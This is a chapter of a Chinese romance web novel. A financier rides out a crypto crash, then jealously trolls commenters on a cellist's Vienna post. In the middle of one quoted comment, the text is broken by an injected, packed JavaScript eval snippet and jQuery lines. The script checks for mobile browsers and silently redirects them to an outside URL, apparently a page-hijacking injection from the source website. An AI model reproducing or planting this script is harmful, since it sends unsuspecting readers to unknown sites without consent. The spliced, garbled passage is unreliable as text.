凌晨四点，滨城御景湾行政公寓的顶层。
浓稠的夜还深深笼罩着这座城市，而在书房内，却是另一翻景象。
桌上三块巨大的竖屏显示器上正跳动着各种图形与数字，正对着江知野此刻无比严肃的神情。
这个周末，全球加密货币市场毫无征兆地迎来了“黑色星期天”。因为地缘政治的突发利空，比特币在四小时内闪崩12%，多头合约尸横遍野，全网爆仓金额已经是个天文数字。
“Boss，新加坡那边的数据跑完了。现在的波动率已经击穿了我们在3号基金设定的风控线，机器已经自动暂停了交易。如果现在手动平仓，回撤会很难看，但至少能保住本金。”
耳机里传来交易主管紧张的声音，背景是嘈杂的警报声和键盘敲击声。
江知野靠在人体工学椅上，并没有立刻回答。他手里依旧把玩着那个朗声打火机，开合声在这段沉默里显得格外规律。
他面无表情，那双熬得通红的眼睛盯着屏幕上那根还在疯狂下坠的红色K线，另一块屏幕上，则是如瀑布般快速刷新的链上数据。
“不能平仓。”几秒钟后，江知野开口：“这应该是流动性枯竭导致的连环爆仓，不是基本面崩塌。你看一下Coinbase和Binance的溢价指数，再看一眼链上数据——那个持币前十的巨鲸地址，这半个小时里有动过一枚币吗？”
耳机那头愣了一下，显然是在核实数据：“……没有。巨鲸钱包没有异动。”
“庄家都没跑，你们慌什么？”江知野将打火机扣在桌上：“通知量化团队，修改3号策略的参数。把风控阈值拉大，在现在的价格下方挂梯次买单。这不是接飞刀，是接带血的筹码。”
“可是……这违背了模型原本的风控逻辑，而且仓位太重了，如果继续跌1%，我们就……”
“模型是死的，人是活的。”江知野打断了他，语气平淡得不像是一场涉及千万美金的决策：“现在市场上的抛压全是机器强平出来的，情绪已经见底了。按我说的做，反手做多。所有的流动性我来补。”
他身体前倾，盯着屏幕上那个跳动的数字，一字一顿地说道：“出了问题算我的。赚了，年底全员奖金翻倍。”
耳机那头瞬间安静了几秒。数亿美金的资金盘，只有boss有这样极致的魄力。
随即整齐划一地传来：“收到！正在执行！”
江知野松开鼠标，手指托着下巴，目不转睛地看着屏幕。
他的呼吸沉重且缓慢。
一分钟。价格还在试探性地下跌，像是在挑战所有人的心理底线。
两分钟。屏幕上的挂单瞬间被吃掉，红色的数字像鲜血一样刺眼。
“Boss……”耳机里有人声音发颤。
“等着。”江知野沉声，眼睛一眨不眨。
就在第三分钟开始的瞬间，屏幕上的K线像是触底的弹簧，在吃掉了最后一点带血的筹码后，突然爆发出惊人的反弹力度。
空头回补，买盘涌入。
那根拉爆无数多头的阴线，在短短几十秒内被硬生生拉出了一根下影线，然后势如破竹地向上突破！
账户里的数字从触目惊心的绿色瞬间翻红，利润那一栏的数字则开始以肉眼不可见的速度疯狂跳动。
翻倍。三倍。五倍。
“我靠……爆了！！空头被挤爆了！！”耳机里传来了交易员们压抑不住的欢呼声。
江知野看着屏幕上已经走出V型反转的走势，紧绷的身体终于松弛下来，而后重重地靠回椅背上。
他押对了注，又一次。
耳机里已经传来庆贺声，江知野却沉默地挂了电话。
肾上腺素像剧烈的过山车，瞬间疯狂飙升后，又快速褪去。
而后，巨大的空虚感像潮水一样反扑上来。
长期高压的工作节奏和极度缺乏的睡眠，让他的太阳穴突突直跳。
他换了个打火机，走到窗边，点了支烟，深吸了一口。
另一只手拿起私人手机，机械地刷起了社交媒体账号。
屏幕光映亮了他那张英俊却颓废的脸。
微博，没有更新。小红书，最后一条还是半个月前的演出宣传。
签约仪式已经过了两天，没人知道乐以棠去了哪里，也没人知道她什么时候回来销假。
江知野自嘲地扯了扯嘴角，有些神经质地继续点开Instagram。
本来也不抱什么希望，指尖下滑，刷新。可页面竟然跳出了一条新的动态。
江知野不由地站直了身体，呼吸都停滞了半拍。
发布人是yitang_cello，是一张定位在维也纳的照片。
抓拍的大合影，镜头甚至有些晃动，像是在某个地下爵士酒吧。
画面里，乐以棠坐在高脚凳上，手里握着琴弓，面前放着半杯琥珀色的威士忌。她长发微乱，脸颊因为酒精泛着红晕，她的眼神明亮，正侧头看着身边拿着长笛的优雅女士，两人都在大笑。
在她对面，一个白发老头正把小提琴架在肩膀上，似乎在回应她的旋律。旁边金发碧眼的年轻男人手里端着酒杯，懒散地靠在钢琴边，正歪着头看着乐以棠演奏。而钢琴前，那个微胖的中年男人只留下了一个正在弹琴的背影。
配文很短，只有一个单词：“JamSession.?????”(即兴时刻)
江知野看得出来，她很快乐，是她鲜少会表现出来的真实的快乐。
这快乐却刺痛了他。
他的手指滑向评论区。
【classical_daily】：Holysht...AmIseein
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019331|193797||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
gthisright?IsthatMaestroRichterontheviolin?!（卧槽……我没看错吧？那个拉小提琴的是里希特大师？！）
【cello_fan】：这阵容疯了吧……维也纳爱乐首席、里希特大师……我们以棠是打入了欧洲古典乐的顶级核心圈了啊！
【lifeM】：Wait...theoneplayingpianoisMuller?Thelegendaryagent?（等等……弹钢琴那个是穆勒？那个传奇经纪人？）
【Fiona666】：不愧是姐！冲出亚洲！走向世界！
【Wellwell】女神终于更新了！咱是要离开大翻车的滨交了吗？！
江知野的手指僵硬地悬在屏幕上方。
里希特、维也纳爱乐首席、传奇经纪人、离开滨交……
每个词都让他的太阳穴跳得更厉害……可他又忍不住下拉去看更多的评论：
【爱乐留学生】：我就说在维也纳好像看到姐姐了！本人超美……悄悄八卦一起的男生是谁？！也超帅超有气质的！（钢琴镜面反光里貌似有拍出来
【ReachelBlue】回复【爱乐留学生】：我也看到了！带眼镜的对不对？真的帅，两个人互动超有爱的！姐生我梦了。
【Monica_Violin】：我也在！刚听了他们现场摸过来的！氛围超好，乐老师快来维也纳吧！
江知野只觉得气血上涌直冲天灵盖，他叼着烟，手指快速地在屏幕上按键。
【Private_Key_Y】回复【爱乐留学生】：什么眼神，那男的明明又老又丑！
【Private_Key_Y】回复【ReachelBlue】：你哪只眼睛看到有爱了？反光懂吗？那是物理现象，少在那脑补。看看脑子吧你。
【Private_Key_Y】回复【Monica_Violin】：想都别想。
【Private_Key_Y】：那种男的一看就是道貌岸然的老狐狸，除了有点臭钱还会什么？晦气。
刚发出去不到半分钟，对面显然也是深夜修仙党，立刻回怼了过来：
【ReachelBlue】回复【Private_Key_Y】：“？？？哪来的疯狗？红眼病吧，真下头。”
“……”江知野盯着“疯狗”那两个字，气笑了。
江知野你真他｜妈出息。
他把手机扔回桌上，掐灭了烟坐回椅子里。
仰头靠在椅背上，江知野拿手臂挡住了眼睛。
屏幕上跳动着上亿美金的数字，他在这一刻忽然觉得自己和那个赌鬼老爸很像。
赌红了眼不过是为了向那个不要自己的女人证明，她选错了。
可笑至极。